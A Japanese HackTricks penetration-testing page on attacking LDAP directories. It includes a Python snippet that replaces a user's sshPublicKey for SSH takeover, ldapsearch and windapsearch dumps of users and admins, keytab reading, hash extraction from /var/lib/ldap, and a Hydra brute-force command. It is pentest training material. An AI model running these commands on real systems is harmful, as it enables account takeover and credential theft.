hacktricks/network-services-pentesting/pentesting-ldap.md

398 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 389, 636, 3268, 3269 - LDAPのペネトレーションテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSを入手**したり、HackTricksをPDFで**ダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
## 基本情報
出典: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAPLightweight Directory Access Protocolは、公共インターネットでも企業のイントラネットでも、ネットワーク内の組織、個人、その他の**リソース**(ファイルやデバイスなど)を**検索**するためのソフトウェアプロトコルです。LDAPはDirectory Access ProtocolDAPの「軽量」コード量が少ないバージョンです。
LDAPディレクトリは、多くのサーバーに**分散**されています。各サーバーは、定期的に**同期**される全ディレクトリの**複製**バージョンを持つことができます。LDAPサーバーはDirectory System AgentDSAと呼ばれます。ユーザーからのリクエストを受け取ったLDAPサーバーは、リクエストに対する責任を持ち、必要に応じて他のDSAに渡しますが、ユーザーに対して単一の調整された応答を保証します。
LDAPディレクトリは、以下のレベルを含む単純な「ツリー」階層で構成されています
* ルートディレクトリ(ツリーの出発点または源)、これが分岐して
* 各国、それぞれが分岐して
* 組織、これが分岐して
* 組織単位(部門、部署など)、これが分岐して(エントリを含む)
* 個人(人々、ファイル、プリンターなどの共有リソースを含む)
**デフォルトポート:** 389および636ldaps。グローバルカタログActiveDirectoryのLDAPは、デフォルトでポート3268およびLDAPSの3269で利用可能です。
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAPデータ交換フォーマット
LDIFLDAP Data Interchange Formatは、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト追加、変更、削除、名前変更を表すこともできます。
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* 1〜3行目はトップレベルドメインlocalを定義しています
* 5〜8行目はファーストレベルドメインmoneycorpmoneycorp.localを定義しています
* 10〜16行目は2つの組織単位devとsalesを定義しています
* 18〜26行目はドメインのオブジェクトを作成し、属性に値を割り当てます
## データの書き込み
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、ユーザーまたは任意のユーザーの**"sshPublicKey"情報を変更できる**と想像してください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる**可能性が高いです。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効になっていなくてもそのユーザーとしてログインできる**でしょう。
```bash
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## クリアテキスト資格情報のスニッフィング
LDAPがSSLなしで使用されている場合、ネットワーク上で**クリアテキストの資格情報をスニッフィング**することができます。
また、**LDAPサーバーとクライアントの間で**ネットワーク上で**MITM**攻撃を実行することができます。ここで**ダウングレード攻撃**を行うと、クライアントは**クリアテキストの資格情報**を使用してログインします。
**SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供します。**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再び資格情報を見ることができます。
## 匿名アクセス
### TLS SNIチェックのバイパス
[**このライトアップ**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、彼は任意のドメイン名company.comのようなでLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接続し、情報を抽出することができました。
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP匿名バインド
[LDAP匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストが含まれます。これは**レガシーな設定**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\
しかし、管理者は特定のアプリケーションで匿名バインドを**設定する必要があった**かもしれませんが、意図した以上のアクセス権を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになっている可能性があります。
## 有効な資格情報
LDAPサーバーにログインする有効な資格情報を持っている場合、以下を使用してドメイン管理者に関するすべての情報をダンプできます
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## 列挙
### 自動化
これを使用すると、**公開情報**(ドメイン名など)を確認できます。
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python
<details>
<summary>Pythonを使ったLDAP列挙を見る</summary>
**資格情報の有無にかかわらずPythonを使用してLDAPを列挙する**ことができます: `pip3 install ldap3`
まず、資格情報**なしで**接続を試みます:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
応答が前の例のように`True`である場合、LDAP**naming context**や**domain name**など)サーバーからいくつかの**興味深いデータ**を取得できます。
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
```markdown
一度命名コンテキストを取得すると、もっとエキサイティングなクエリを実行できます。このシンプルなクエリはディレクトリ内のすべてのオブジェクトを表示するはずです:
```
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
または、ldap全体を**ダンプ**します:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* は、LDAPクエリを利用して**Windowsドメインからユーザー、グループ、コンピューターを列挙する**ためのPythonスクリプトです。
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
nullクレデンシャルがあるか、またはあなたのクレデンシャルが有効かどうかを確認します
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
```
_bindが完了しなければならない_という表示がある場合、それは資格情報が正しくないことを意味します。
ドメインから**すべてを抽出**するには:
```
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
**ユーザー**の抽出:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
**コンピューター**の抽出:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**私の情報を抽出する**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**ドメイン管理者の抽出**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**ドメインユーザーの抽出**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**エンタープライズ管理者を抽出する**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**管理者**の抽出:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**リモートデスクトップグループ**の抽出:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
クエリの実行後、パスワードへのアクセス権があるかどうかを確認するには、grepを使用できます:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
以下のパスワードは実際のものではない可能性がありますのでご注意ください...
#### pbis
**pbis**はこちらからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 通常、`/opt/pbis`にインストールされています。\
**Pbis**を使用すると、基本情報を簡単に取得できます:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## グラフィカルインターフェース
### Apache Directory
[**ここからApache Directoryをダウンロードしてください**](https://directory.apache.org/studio/download/download-linux.html)。このツールの使用例は[こちらで確認できます](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
### jxplorer
LDAPサーバー用のグラフィカルインターフェースはこちらからダウンロードできます[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
デフォルトでは、以下の場所にインストールされます: _/opt/jxplorer_
![](<../.gitbook/assets/image (22) (1).png>)
### Godap
[https://github.com/Macmod/godap](https://github.com/Macmod/godap) でアクセスできます。
## kerberos経由での認証
`ldapsearch` を使用して、**NTLM** ではなく **kerberos** に対して**認証**するには、パラメータ `-Y GSSAPI` を使用します。
## POST
データベースが含まれているファイルにアクセスできる場合_/var/lib/ldap_ にある可能性があります)、以下を使用してハッシュを抽出できます:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
johnにパスワードハッシュを供給できます'{SSHA}'から'structural'までで、'structural'を追加せずに)。
### 設定ファイル
* 一般
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 サーバー
* V3.sas.oc
* Microsoft Active Directory サーバー
* msadClassesAttrs.ldif
* Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP ディレクトリサーバー
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
* 75sas.ldif
## HackTricks 自動コマンド
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**
</details>